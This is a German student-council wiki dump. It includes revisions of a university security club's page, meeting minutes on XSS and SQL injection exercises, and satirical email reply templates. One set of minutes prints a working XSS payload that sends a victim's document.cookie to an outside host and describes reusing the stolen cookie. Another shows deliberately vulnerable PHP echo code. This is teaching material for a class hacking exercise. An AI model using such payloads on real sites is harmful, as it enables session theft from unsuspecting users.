;KW17 ??.04.2015: N.N.
;KW18 ??.04.2015: N.N.
;KW19 ??.05.2015: Ein Blick hinter die Kulissen von mafiasi.de
;KW20 ??.05.2015: N.N.
;KW21 ??.05.2015: N.N.
;KW23 ??.06.2015: N.N.
;KW24 ??.06.2015: N.N.
;KW25 ??.06.2015: N.N.
;KW26 ??.06.2015: N.N.
;KW27 ??.07.2015: N.N.
;KW28 ??.07.2015: N.N.

== Mailingliste ==
Das KBS hat eine Mailingliste, welche über [mailto:kbs@informatik.uni-hamburg.de kbs@informatik.uni-hamburg.de] erreicht werden kann. Auf dieser Mailingliste sind alle Interessierten willkommen.

Um auf diese Mailingliste zu kommen, musst du nur eine E-Mail an [mailto:kbs-subscribe@informatik.uni-hamburg.de kbs-subscribe@informatik.uni-hamburg.de] schreiben oder dich per [https://mailhost.informatik.uni-hamburg.de/mailman/listinfo/kbs Webinterface] anmelden.

== Videoaufzeichnung ==

Es werden dringend Freiwillige gesucht, die sich um eine Videoaufzeichnung kümmern! Wenn du Interesse daran hast, melde dich bitte bei kbs@inf.

Näheres zur Technik ist auf der Seite [[KBS/Videoaufzeichnung|Videoaufzeichnung]] zu finden.

== Materialien ==

* [[KunterBuntesSeminar/ChecklisteSeminar|Checkliste für Referenten]]
* [[KunterBuntesSeminar/Themen#Themenvorschlaege|Themenvorschlaege]]
* [[KunterBuntesSeminar/Plakate|Offline Werbung]]
* [[KunterBuntesSeminar/KBB|Maskottchen]]

[[Kategorie:KunterBuntesSeminar]]

CInsects

2011-04-09T19:50:18Z

0rokita: neuen Termin Eingetragen

[[Bild:Cinsects.png|Cinsects.png|frame|Das Logo der CInsects|right|Das Logo der CInsects]]

Wir sind eine freie, seminarähnliche Veranstaltung und vermitteln mit Vorträgen, Workshops und Projekten praktische informatische Allgemeinbildung mit Fokus auf sicherheitsrelevanten Themen.

Schreibe eine Mail an [mailto:cinsects-announce-subscribe@informatik.uni-hamburg.de cinsects-announce-subscribe@informatik.uni-hamburg.de] und du erhältst eine wöchentliche Einladung mit dem aktuellen Programm oder komm einfach vorbei!

Wir treffen uns jede Woche in D-114, ein regelmäßiger Termin wurde [https://dudle.mafiasi.de/cinsects-sose2011/ ausgedudelt]. Wir treffen uns nun immer '''Montags von 18:00 - 20:00 Uhr in D-114''', und geben Inhalte und Termine über den mailverteiler bekannt.

Vorwissen ist nicht unbedingt erforderlich. Erfahrungen im Programmieren oder die Kenntnis von Sicherheitsproblemen in der IT-Sicherheit sind von Vorteil. Im Allgemeinen gilt: BYOL. Willkommen ist aber generell jeder, der etwas Interessantes erzählen möchte, spannende Fragen hat oder auch nur mit uns zusammensitzen will.

== Treffen ==
=== 2011 ===
[[CInsects/Protokolle/CInsects:Treffen-2011-??-??|CInsects-Treffen am <Wochentag>, <Tag>. April]] <Thema>
=== 2010 ===
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-19|CInsects-Treffen am Di, 19. Oktober]] SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-26|CInsects-Treffen am Di, 26. Oktober]] Blinde SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-02|CInsects-Treffen am Di, 02. November]] Remote Code Execution
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-09|CInsects-Treffen am Di, 09. November]] Remote Code Execution Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-16|CInsects-Treffen am Di, 16. November]] Automatisierte Angriffe
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-23|CInsects-Treffen am Di, 23. November]] Automatisierte Angriffe Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-30|CInsects-Treffen am Di, 30. November]] Vorbereitung UCSB iCTF
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010 am Fr, 03. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-07|CInsects-Treffen am Di, 07. Dezember]] Nachbereitung UCSB iCTF
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-14|CInsects-Treffen am Di, 14. Dezember]] Vorbereitung RuCTFe
* [[CInsects/CTFs/RuCTFE_2010|RuCTFE 2010 am Sa, 18. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-04|CInsects-Treffen am Di, 04. Januar]] Feedbackrunde
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-11|CInsects-Treffen am Di, 11. Januar]] XSS
* [[CInsects-Treffen am Di, 18. Januar]] XSS und CSRF
* [[CInsects-Treffen am Di, 25. Januar]] Web-Basics und XSS
* [[CInsects/Protokolle/CInsects:Treffen-2011-02-01|CInsects-Treffen am Di, 1. Februar]] XSS / SQLinject

== Programm 2010 ==

* Websicherheit
** SQL-Injection
** Blinde SQL-Injection
** Remote Code Execution
** Weitere Angriffe auf Webseiten
** Automatisierung von Angriffen
** XSS

=== Aktuelle Wünsche und Ideen für Projekte ===
* Ich würde gern einfache Bots analysieren und gucken, wie man die zu einem Botnetz zusammenstellen kann.
* Ich würde gern den Cipher-CTF mitmachen und gewinnen.
* Ich würde gern aktuelle Protokolle von den letzten Treffen haben.
* Ich würde gern mehr über Computersicherheit erfahren und wie man Exploits ausnuzt.
* Ich würde gern den <hier Dein Vorschlag>

=== Schon länger vor gehabt ===
* Plenum
* C0re Wars - a game of love, compassion, segmentation faults, assembly and world pies
* CTF-Arena - ein CTF-Framework
* Vortrag: Buffer Overflows
* Vorstellung GDB 7.0 (''lars'')
* Fahrt zur FOSDEM
* Botnet-Analyse (Bots angucken und verstehen)
* Underhanded C Contest (The due date is March 1, 2010.) http://underhanded.xcott.com/

== Teilnahmen an vergangenen Wettbewerben ==
* Cipher 2006
* UCSB iCTF 2006
* 23c3 mit 3 Teams
* Cipher 2007
* UCSB iCTF 2007
* [[UCSB iCTF 2008]]
* [[UCSB iCTF 2009]] 1. Platz
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010]] 3. Platz
* [[CInsects/CTFs/RuCTFE 2010|RuCTFE 2010]] 8. Platz

CInsects

2011-02-01T20:58:45Z

0rokita: linkfix

[[Bild:Cinsects.png|Cinsects.png|frame|Das Logo der CInsects|right|Das Logo der CInsects]]

Wir sind eine freie, seminarähnliche Veranstaltung und vermitteln mit Vorträgen, Workshops und Projekten praktische informatische Allgemeinbildung mit Fokus auf sicherheitsrelevanten Themen.

Schreibe eine Mail an [mailto:cinsects-announce-subscribe@informatik.uni-hamburg.de cinsects-announce-subscribe@informatik.uni-hamburg.de] und du erhältst eine wöchentliche Einladung mit dem aktuellen Programm oder komm einfach vorbei!

Wir treffen uns jede Woche in D-114, ein regelmäßiger Termin wurde [https://dudle.mafiasi.de/cinsects-wise2010/ ausgedudelt]. Das erste Treffen war am Dienstag, 19. Oktober um 17 Uhr. Wir treffen uns nun immer '''Dienstags von 18:00 - 20:00 Uhr in D-114''', und geben Inhalte und Termine über den mailverteiler bekannt.

Vorwissen ist nicht unbedingt erforderlich. Erfahrungen im Programmieren oder die Kenntnis von Sicherheitsproblemen in der IT-Sicherheit sind von Vorteil. Im Allgemeinen gilt: BYOL. Willkommen ist aber generell jeder, der etwas Interessantes erzählen möchte, spannende Fragen hat oder auch nur mit uns zusammensitzen will.

== Treffen ==
=== 2010 ===
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-19|CInsects-Treffen am Di, 19. Oktober]] SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-26|CInsects-Treffen am Di, 26. Oktober]] Blinde SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-02|CInsects-Treffen am Di, 02. November]] Remote Code Execution
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-09|CInsects-Treffen am Di, 09. November]] Remote Code Execution Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-16|CInsects-Treffen am Di, 16. November]] Automatisierte Angriffe
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-23|CInsects-Treffen am Di, 23. November]] Automatisierte Angriffe Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-30|CInsects-Treffen am Di, 30. November]] Vorbereitung UCSB iCTF
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010 am Fr, 03. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-07|CInsects-Treffen am Di, 07. Dezember]] Nachbereitung UCSB iCTF
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-14|CInsects-Treffen am Di, 14. Dezember]] Vorbereitung RuCTFe
* [[CInsects/CTFs/RuCTFE_2010|RuCTFE 2010 am Sa, 18. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-04|CInsects-Treffen am Di, 04. Januar]] Feedbackrunde
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-11|CInsects-Treffen am Di, 11. Januar]] XSS
* [[CInsects-Treffen am Di, 18. Januar]] XSS und CSRF
* [[CInsects-Treffen am Di, 25. Januar]] Web-Basics und XSS
* [[CInsects/Protokolle/CInsects:Treffen-2011-02-01|CInsects-Treffen am Di, 1. Februar]] XSS / SQLinject

== Aktuelles Programm ==

* Websicherheit
** SQL-Injection
** Blinde SQL-Injection
** Remote Code Execution
** Weitere Angriffe auf Webseiten
** Automatisierung von Angriffen
** XSS

=== Aktuelle Wünsche und Ideen für Projekte ===
* Ich würde gern einfache Bots analysieren und gucken, wie man die zu einem Botnetz zusammenstellen kann.
* Ich würde gern den Cipher-CTF mitmachen und gewinnen.
* Ich würde gern aktuelle Protokolle von den letzten Treffen haben.
* Ich würde gern mehr über Computersicherheit erfahren und wie man Exploits ausnuzt.
* Ich würde gern den <hier Dein Vorschlag>

=== Schon länger vor gehabt ===
* Plenum
* C0re Wars - a game of love, compassion, segmentation faults, assembly and world pies
* CTF-Arena - ein CTF-Framework
* Vortrag: Buffer Overflows
* Vorstellung GDB 7.0 (''lars'')
* Fahrt zur FOSDEM
* Botnet-Analyse (Bots angucken und verstehen)
* Underhanded C Contest (The due date is March 1, 2010.) http://underhanded.xcott.com/

== Teilnahmen an vergangenen Wettbewerben ==
* Cipher 2006
* UCSB iCTF 2006
* 23c3
* Cipher 2007
* UCSB iCTF 2007
* [[UCSB iCTF 2008]]
* [[UCSB iCTF 2009]]
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010]]

CInsects

2011-02-01T18:38:52Z

0rokita: + aktuelles

[[Bild:Cinsects.png|Cinsects.png|frame|Das Logo der CInsects|right|Das Logo der CInsects]]

Wir sind eine freie, seminarähnliche Veranstaltung und vermitteln mit Vorträgen, Workshops und Projekten praktische informatische Allgemeinbildung mit Fokus auf sicherheitsrelevanten Themen.

Schreibe eine Mail an [mailto:cinsects-announce-subscribe@informatik.uni-hamburg.de cinsects-announce-subscribe@informatik.uni-hamburg.de] und du erhältst eine wöchentliche Einladung mit dem aktuellen Programm oder komm einfach vorbei!

Wir treffen uns jede Woche in D-114, ein regelmäßiger Termin wurde [https://dudle.mafiasi.de/cinsects-wise2010/ ausgedudelt]. Das erste Treffen war am Dienstag, 19. Oktober um 17 Uhr. Wir treffen uns nun immer '''Dienstags von 18:00 - 20:00 Uhr in D-114''', und geben Inhalte und Termine über den mailverteiler bekannt.

Vorwissen ist nicht unbedingt erforderlich. Erfahrungen im Programmieren oder die Kenntnis von Sicherheitsproblemen in der IT-Sicherheit sind von Vorteil. Im Allgemeinen gilt: BYOL. Willkommen ist aber generell jeder, der etwas Interessantes erzählen möchte, spannende Fragen hat oder auch nur mit uns zusammensitzen will.

== Treffen ==
=== 2010 ===
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-19|CInsects-Treffen am Di, 19. Oktober]] SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-10-26|CInsects-Treffen am Di, 26. Oktober]] Blinde SQL-Injections
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-02|CInsects-Treffen am Di, 02. November]] Remote Code Execution
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-09|CInsects-Treffen am Di, 09. November]] Remote Code Execution Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-16|CInsects-Treffen am Di, 16. November]] Automatisierte Angriffe
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-23|CInsects-Treffen am Di, 23. November]] Automatisierte Angriffe Teil 2
* [[CInsects/Protokolle/CInsects:Treffen-2010-11-30|CInsects-Treffen am Di, 30. November]] Vorbereitung UCSB iCTF
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010 am Fr, 03. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-07|CInsects-Treffen am Di, 07. Dezember]] Nachbereitung UCSB iCTF
* [[CInsects/Protokolle/CInsects:Treffen-2010-12-14|CInsects-Treffen am Di, 14. Dezember]] Vorbereitung RuCTFe
* [[CInsects/CTFs/RuCTFE_2010|RuCTFE 2010 am Sa, 18. Dezember]]
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-04|CInsects-Treffen am Di, 04. Januar]] Feedbackrunde
* [[CInsects/Protokolle/CInsects:Treffen-2011-01-11|CInsects-Treffen am Di, 11. Januar]] XSS
* [[CInsects-Treffen am Di, 18. Januar]] XSS und CSRF
* [[CInsects-Treffen am Di, 25. Januar]] Web-Basics und XSS
* [[CInsects/Protokolle/CInsects:Treffen-2011-02-01 Treffen aM dI: 1.2.]] XSS / SQLinject

== Aktuelles Programm ==

* Websicherheit
** SQL-Injection
** Blinde SQL-Injection
** Remote Code Execution
** Weitere Angriffe auf Webseiten
** Automatisierung von Angriffen
** XSS

=== Aktuelle Wünsche und Ideen für Projekte ===
* Ich würde gern einfache Bots analysieren und gucken, wie man die zu einem Botnetz zusammenstellen kann.
* Ich würde gern den Cipher-CTF mitmachen und gewinnen.
* Ich würde gern aktuelle Protokolle von den letzten Treffen haben.
* Ich würde gern mehr über Computersicherheit erfahren und wie man Exploits ausnuzt.
* Ich würde gern den <hier Dein Vorschlag>

=== Schon länger vor gehabt ===
* Plenum
* C0re Wars - a game of love, compassion, segmentation faults, assembly and world pies
* CTF-Arena - ein CTF-Framework
* Vortrag: Buffer Overflows
* Vorstellung GDB 7.0 (''lars'')
* Fahrt zur FOSDEM
* Botnet-Analyse (Bots angucken und verstehen)
* Underhanded C Contest (The due date is March 1, 2010.) http://underhanded.xcott.com/

== Teilnahmen an vergangenen Wettbewerben ==
* Cipher 2006
* UCSB iCTF 2006
* 23c3
* Cipher 2007
* UCSB iCTF 2007
* [[UCSB iCTF 2008]]
* [[UCSB iCTF 2009]]
* [[CInsects/CTFs/UCSB_iCTF_2010|UCSB iCTF 2010]]

CInsects/Protokolle/CInsects:Treffen-2011-02-01

2011-02-01T18:37:26Z

0rokita: init

Diese Seite ist eine Unterseite von [[CInsects]].

Heute Haben wir XSS und SQL-Injection gemacht. Anwesende: 6 Personen

[[Kategorie: CInsects-Protokolle]]

CInsects-Treffen am Di, 25. Januar

2011-01-25T18:47:30Z

0rokita: Protokoll angelegt

Diese Seite ist eine Unterseite von [[CInsects]].

Heute war nur vier Personen da, wir haben [[CInsects/Protokolle/CInsects:Treffen-2010-10-19|SQL-Injections]] nochmal wiederholt.

CInsects-Treffen am Di, 18. Januar

2011-01-19T09:24:13Z

0rokita: hackits

=== Hackits ===

echo 'Hallo '.($_GET['name']);
[http://mercarion-online.de/test/CInsects/xss1.php]

Fix:
echo 'Hallo '.htmlspecialchars($_GET['name']);
[http://mercarion-online.de/test/CInsects/xss1_fix.php]

URL-Angriff:
echo 'Hallo <a href="'.htmlspecialchars($_GET['name']).'">Link</a>';
[http://mercarion-online.de/test/CInsects/xss1_url.php]

Color-Angriff
function escape_color ($color ) {
// Alles nach dem Semikolon
// abschneiden , um keine weiteren
// CSS - Angaben zuzulassen .
$color = explode( '; ' , $color );
return htmlspecialchars( $color[0]);
}
$c = escape_color($_GET['color']);
echo ' &lgt;div style =" color : ' . $c . ' ">Testtext </div > ';
[http://mercarion-online.de/test/CInsects/xss1_color.php]

== Fragen ==

Trage hier ein was du noch nicht verstanden hast, oder wass du sonst noch zu dem Tema wissen möchtest.

CInsects/Protokolle/CInsects:Treffen-2011-01-11

2011-01-12T09:32:57Z

0rokita: Link zum hackit

Diese Seite ist eine Unterseite von [[CInsects]].

Heute haben wir uns mit XSS ([https://secure.wikimedia.org/wikipedia/de/wiki/Cross-Site_Scripting Cross-Site-Scripting:Wikipedia]) befasst.

== Hackits ==

Nils hat zwei Hackits auf die Beine gestellt, das eine, recht einfach, stellte uns ein Formularfeld zur Verfügung und gab den eingegebenen Text auf einer neuen Seite aus. Hier konnte jeder JavaScript Text eingefügt werden, z.B.
<nowiki><script> type="text/javascript">alert("Achtung hier wird eine XSS Angriff durchgeführt");</script></nowiki>
was dazu führt, das auf der ausgebenden Seite eine Meldung mit eingegebenen Text erschien. Kaputmachen konnte man hier also noch nichts, es sei denn den eigenen Rechner.

Das zweite Hackit war ein wenig interessanter. Hier bestand die Möglichkeit sich mit Name und Kennwort anzumelden und dann über ein Nachrichten System Meldungen an andere Mitglieder zu senden. Diese Meldungen konnten natürlich JavaScript beinhalten, sodass wir damit anfangen konnten die Cookies (KEEEKSE!!! omnomnom) anderer Nutzer zu klauen.
<nowiki><script>document.write('<img src="http://cinsects.de/cookie?' +document.cookie+'">');</script></nowiki>
Mit diesem Script konnten wir den Cookie desjenigen auslesen, der die Nachricht bekommen hat und haben diesen in eine nicht existierende Datei auf einem Server für den wir Rechte haben geschickt. In der Fehlerkonsole dieses Servers wurde der Cookie nun angezeigt, und musste von uns nur noch als eigener Cookie in FF eingelesen werden.

Natürlich war auch viel nasty shit möglich, wie aufpoppende Meldungen in einer while Schleife mit 1=1 als Bedingung, sodass der Brwoser neu gestartet werden musste.

== Statistik ==

Anzahl der anwesenden Personen: Start(8) Ende(9)

L33tness-Faktor der Kekse: 100%

== Hackits ==

Hackit [http://mercarion-online.de/test/CInsects/] Achtung! es ist dort möglich andere Browser unbenutzbar zu machen, wenn eine solcher hack drinn ist, könnt ihr mir (0rokita) bescheidsagen, ich lösche die dann, Oder noch besser: Bitte keine Endlosschleifen!

== Themen für das nächste mal ==

FIXME
und daran zu denken, jemanden zu bestimmen, der Kekse mitbringt.

Pia

2010-11-19T09:12:18Z

0rokita: link zum Stecker hinzugefügt, mit dem normkürzel kann ich mir nichts vorstellen

Pia ist das elektrisch betriebene Wunder von einem Keyboard des [[c.t.]], welches zusammen mit den in diesem Zusammenhang weniger aktiven Gitarren die ansonsten durch [[Emma]] geprägte Klangwelt der Räumlichkeiten aufs Angenehmste erweitert.

Neben den obligatorischen weißen Tasten bietet Pia auch eine zusätzliche Menge obligatorischer schwarzer Tasten, deren Benutzung in Kombination mit einer der in großer Zahl vorhandenen Instrument-Einstellungen Töne unterschiedlichster Form und Farbe erzeugt.

Pia besitzt eine [http://de.wikipedia.org/wiki/Ger%C3%A4testecker#Kleinger.C3.A4testecker_IEC-60320-C7 IEC-60320-C8-Buchse] und ein dazu passendes Kabel, das ebenfalls im c.t. zu finden sein sollte.

Emailvorlagen

2010-11-16T11:04:48Z

0rokita: /* Hoax */ Webadresse der infoseite hat sich geändert, der sollte der richtige sein

[[Kategorie:HOWTO]]

== Warum diese Seite ==
Wer kennt es nicht? So ein Idiot schreibt eine Email, ohne sich vorher über {OpenAcess, OpenSource, FreeSoftware, Gleichberechtigung/Gendering, Religion, Datenvermeidung, Datenschutz, Esoterik, Minderheiten, Selbstwertgefühle, Empfindungen, Barrierefreiheit, Haarefarben, Prokastrination, Unterdrückung, Orthographie ...} Gedanken zu machen und liest seinen Text dann nichtmal zur Korrektur.

Um diese Person freundlich und konstruktiv auf ihr Fehlverhalten aufmerksam zu machen, finden sich hier Textbausteine für verschiedene Vergehen.
Zitat:
<pre>
> Als erzieherische Maßnahme fänd ich es gut wenn wir ne Mailvorlage
> machen die wir grundsätzlich jedem zurückschicken der uns einfach so
> .doc dateien und ähnliches schickt (und zwar jedes mal!)
> Die Mail sollte:
> * einigermaßen freundlich sein
> (damit wir sie möglichst bei jedem Absender nehmen können)
> * im Namen des FSR sein
> * die Problematik auch dem Laien erklären
> * auf dauer richtig nerven
</pre>

__TOC__
== Textbausteine ==
Diese Textbausteine sind fast nur Zitate. Bitte investiere fünf Minuten Deiner Zeit und formuliere einen Textbaustein netter und allgemeiner - oder füge eine Erklärung hinzu.

=== Email ===
==== Proprietäre TEXT Formate (z.B. doc) ====
<pre>
Hallo,

ihr habt eine Microsoft Word "doc"-Datei an Eure Email angehängt.

Ich habe diesbezüglich ein Anliegen. Ich kann für den ganzen FSR Informatik
sprechen, wenn ich sage,
dass wir Dateien bevorzugen, die nicht an gewisse Produkte gebunden
sind. Die angehängten Dateien setzen prinzipiell das Besitzen einer
Microsoft Word Lizenz voraus, was man nicht von allen Studierenden
verlangen kann. Das proprietäre[1] doc-Format ist böse[2].
Besser wäre ein Format, dass unabhängig vom öffnenden Rechner gleichartig
dargestellt wird (z.B. *.pdf) und das frei verfügbar und OpenSource[3] ist
(z.B. *.pdf oder *.odt).

[1] @TODO
[2] @TODO
[3] @TODO

Mit sonnigen Grüßen
</pre>

==== Proprietäre VIDEO Formate ====
<pre>
Ich habe mir erlaubt, die SE2 Videos, die es momentan unter
ftp://ftp.informatik.uni-hamburg.de/pub/unihh/informatik/SWT
zum runterladen gibt, zu transcodieren.

Ich habe einen OGG Container mit Theora/Vorbis kodiertem
Video- bzw. Soundmaterial benutzt, weil es sich dabei um
ein freies Format handelt, das benutzt werden darf, ohne
Lizenzgebuehren zu zahlen. Auch ist die Entwicklung dieser
Codecs frei.

Die Videos sind also nicht nur um die Haelfte kleiner,
sondern auch fuer jeden mit geringem Aufwand zu gucken.

Ich habe die Videos unter [1], [2] und [3] abgelegt. Ich
wuerde mich freuen, wenn die mit dem unfreien DivX Codec
enkodierten Versionen verschwinden und die OGG/Theora
Versionen auf den FTP Servern landen und im CommSy verlinkt
werden.

Fuer die technische Dokumentation: Das Transkodieren war
total einfach: Mit "ffmpeg2theora video.avi" faellt nach
einer gewissen Zeit ein video.ogv raus, das -soweit ich das
sehen kann- die selben Eigenschaften wie das Original hat:
VIDEO: [theo] 560x368 24bpp 25.000 fps 0.0 kbps ( 0.0 kbyte/s)
AUDIO: 48000 Hz, 1 ch, s16le, 60.0 kbit/7.81% (ratio: 7500->96000)
</pre>

==== Überhaupt Anhänge ====
<pre>
Und ihr koenntet darueber nachdenken, ob es wirklich notwendig ist,
300kB an PDFs anzuhaengen und diese Mail dann ueber x Verteiler zu
senden. 300kB klingt erstmal nicht viel, aber die Mail wird ja an
hunderte von Leuten verteilt und vielleicht lesen einige Empfaenger
diese Mails mit Mobiltelefonen und zahlen fuer den Datenverkehr?

Besser waere es vielleicht, diese Dokumente auf einen Webserver zu
packen damit diejenigen, die das Material wirklich interessiert es
herunterladen koennen? Du kannst dann die Links in der Mail mitschicken.
</pre>
==== Zuviele Menschen im "An:" oder "CC:" ====
<pre>
Danke für die ganzen Email-Adressen, die Du mir geschickt hast.
Wenn ich einen guten Käufer finde, bekomme ich pro Adresse 1 Euro,
dann sind das bestimmt 200 - 400 Euro!! =D
</pre>
Weblink: http://blindkopie.de/

==== Hoax ====
<pre>
Und noch was: NIEMAND sucht so nach Knochenmarkspendern. Echt niemand.
Das ist total fake.

http://hoax-info.tubit.tu-berlin.de/hoax/knochenmarkspende.shtml
Bitte lies diesen Artikel! Bitte.
Diese "Hoax" kursiert nämlich schon seit Nov. 2000.

Sonnige Grüße, und bitte verschone mich weiterhin von diesen blöden Kettenbriefen.
</pre>

==== Jobangebote ====
<pre>
Moin $person,

Am 14.01.2010 10:01, schrieben Sie:
> Im neuen Jahr suchen wir wieder für unser Büro eine studentische Hilfskraft.

für Fälle wie diesen haben wir eine Seite in unserem Fachschaftswiki
eingerichtet [0], die ihnen Aufschluss geben wird, wie Sie verfahren
können.

Mit sonnigen Grüßen,
$fsrler
FSR Informatik

[0] <https://www.informatik.uni-hamburg.de/Fachschaft/wiki/index.php/Jobs>

</pre>

==== Will eine Umfrage verbreiten ====
<pre>
Ahoi $person,

$person schrieb:
> > Liebe Informatiker in Hamburg,
> >
> > [...] haben wir einen kleinen Online-Fragebogen entworfen, auf den wir
> > gerne über Euren Newsletter bzw. E-Mail-Verteiler aufmerksam machen
> > würden.

für Fälle wie diesen haben wir eine Seite in unserem Fachschaftswiki
eingerichtet [0], die Euch Aufschluss geben wird, wie ihr weiter
verfahren könnt.

Mit sonnigen Grüßen,
$fsrler
FSR Informatik

[0]
<https://www.informatik.uni-hamburg.de/Fachschaft/wiki/index.php/Umfragen>
</pre>

==== ToFu ====
<pre>
Ahoi xxxx, :)

> [topic oben]
> Sonnige Grüße,
> xxxx
> [full-quote unten].
Deine Nachricht hatte keinen Bezug zu den
voll-zitierten und weiter mitgeschleppten
Emails. Die sogenannten ToFu-Emails (*T*ext
*o*ben, *F*ullquote *u*nten) haben leider
den Nachteil, den Nachrichtentext auf
mindestens das dreifache Anschwellen zu
lassen - ohne Informationsgewinn. Bitte
unterlasse das künftig.

Weiteres zur diesgezüglichen Netiquette unter:
[1] <http://de.wikipedia.org/wiki/TOFU>

Sonnige Grüße,
yyyy
(Fachschaft Informatik)
</pre>

==== Richtig zitieren ====
<pre>
</pre>

==== HTML oder schlecht formatiert ====
<pre>
Und findest du, dass drei Leerzeilen gut aussehen? Also so als
Stilmittel? Oder habt ihr eure Mailclients nicht unter Kontrolle und sie
produzieren nicht nur furchtbaren HTML-Code sondern auch noch grottig
formatierte Plaintext-Mails? Und warum verschickt ihr mit HTML
formatierte Mails? Koennt ihr es nicht dem Empfaenger ueberlassen mit
welcher Schrift er gerne seine Mails liest und muesst ihm ,,Arial'' oder
,,Univers 45 Light'' (wtf!?) aufdraengen?
</pre>

==== falscher Zeichensatz ====
<pre>
</pre>
==== Gendern ====
<pre>
</pre>

==== Email als FSR verschickt ====
<pre>
Ich finds eigentlich schon nicht so gut wenn einige ihr Thunderbird mit
VirtualID nicht unter Kontrolle haben, aber sich als fsr beim Webmail
anzumelden ist ja ne ganz neue Abart, oder?
</pre>
==== Vorschlag, irgendwas aus Studiengebühren zu kaufen ====
<pre>
Uhm, no offense, aber dein Vorschlag ist gar nicht so clever...

1) http://www.youtube.com/watch?v=0SkKJ4yOKo8
2) Studiengebuehren duerfen ausschliesslich zur Verbesserung der Lehre
eingesetzt werden
3) Studiengebuehren sind asozial und sollten gar nicht eingesetzt
werden, schon gar nicht fuer Kensington Locks
4) Mir ist am Ikum noch nie mein Laptop geklaut worden, trotz
fleissigem rumstehen lassen
5) Wenn du gerne ein Kensington Lock haben moechtest, solltest du dir
selbst eins kaufen...
</pre>
==== Von einem Mobilgerät aus gesendet ====
<pre>
Alter, dein Mobilgeraet macht die thread-view kaputt... aber vielleicht
kannst du dein Mailclient fixxxen, dass er den References- und
In-Reply-To-Header setzt?
</pre>
==== Will uns einen Kühlschrank schenken ====
<pre>
erstmal vielen Dank für Deine Mühen, allerdings halten wir es für
unangemessen für 100Euro eine Dauerwerbefläche in unseren Räumen zur
Verfügung zu stellen. Angemessen wäre eine Kühl-Gefrierkombination mit
Energieeffizienzklasse A++ und einer Größe ab 180cm. Beispielsweise
gibt es den AEG Öko SANTO 80 312 KG 28 schon ab 649Euro.
Alternativ möchten wir an dieser Stelle an die Uni Marketing GmbH
verweisen. Dort können z.B. A4-Aushänge für 15€ pro 14Tage aufgegeben
werden. Für drei Jahre wären das nur 1170Euro!
</pre>
==== Falscher Absender angegeben ====
<pre>
vielleicht koenntet ihr dem armen Roman eine eigene Mailadresse
spendieren, damit er nicht immer deine benutzen muss.

Ich hab in der Grundschule mal gelernt, wie man Briefe und Postkarten
schreibt, wo der Absender hinkommt, wo die Adresse, die Briefmarke und
sowas. Das war gut.
</pre>
==== Kein Betreff ====
<pre>
Vielleicht koenntet ihr einen solchen Kurs mal fuer eure Mitarbeiter
veranstalten? Dann koenntet ihr ihnen beispielsweise beibringen, dass
eMails ein Betreff-Feld haben, welches man mit sinnvollen Informationen
fuellen kann die dem/den Empfaenger/n helfen, ihre Mails zu ueberfliegen.
</pre>
==== Will aus dem stud@-Verteiler raus ====
<pre>
Bitte stell deinen Client so ein, dass er dich nicht nervt.
</pre>

<pre>
du bekommst diese Mails, weil du in Hamburg Informatik studierst. Es
gibt mehrere Wege dich von ihnen zu befreien:

1) exmatrikulieren.
2) Reihard bitten, dich von dem Verteiler zu nehmen. Dies kommt 1)
gleich, da viele Studienrelevante Mails ueber den Verteiler gehen.
3) Filter die Mails auf dem Client wie Muelli dies ansprach. Wenn dein
Client das nicht kann (arm), dann
4) Filter die Mails auf einem anderen Rechner (z. B. in der Uni selbst).
Ich glaube, dass du mit hilfe der Webmailoberflaeche Filterregeln
bauen kannst, mit denen du unerwuenschte Mails in ein Ordner
schiebst, den dein Client nicht abboniert hat.

Ich hoffe allerdings, dass du erkennst, das Mails die die studentische
Selbstverwaltung an der Uni betreffen nicht unwichtig sind.
</pre>

==== Datenmüll ====
<pre>
Du hast es geschafft, eine Nachricht mit 91.5% Datenmuell zu verfassen:
> > 4nonym@xbox:/tmp$ cat <<EOF | wc
> > Danke f=C3=BCr die kreative Antwort. Hat die Vorlesung etwas belebt ;-)
> > EOF
> >
> > 1 11 72
> > 4nonym@xbox:/tmp$ cat <<EOF | wc
>> >> Am 14.12.2009 um 14:59 schrieb Anonym =
</pre>
~ snip ~
<pre>
>>> >> >
>> >> EOF
> > 29 123 769
> > 4nonym@xbox:/tmp$ echo "Der Informationgehalt betraegt: $(python -c 'print 72.0/(72+769)')"
> > Der Informationgehalt betraegt: 0.0856123662307
> > 4nonym@xbox:/tmp$

Herzlchen Glueckwunsch. Ein grosses "Hurra" auf Apple und seine
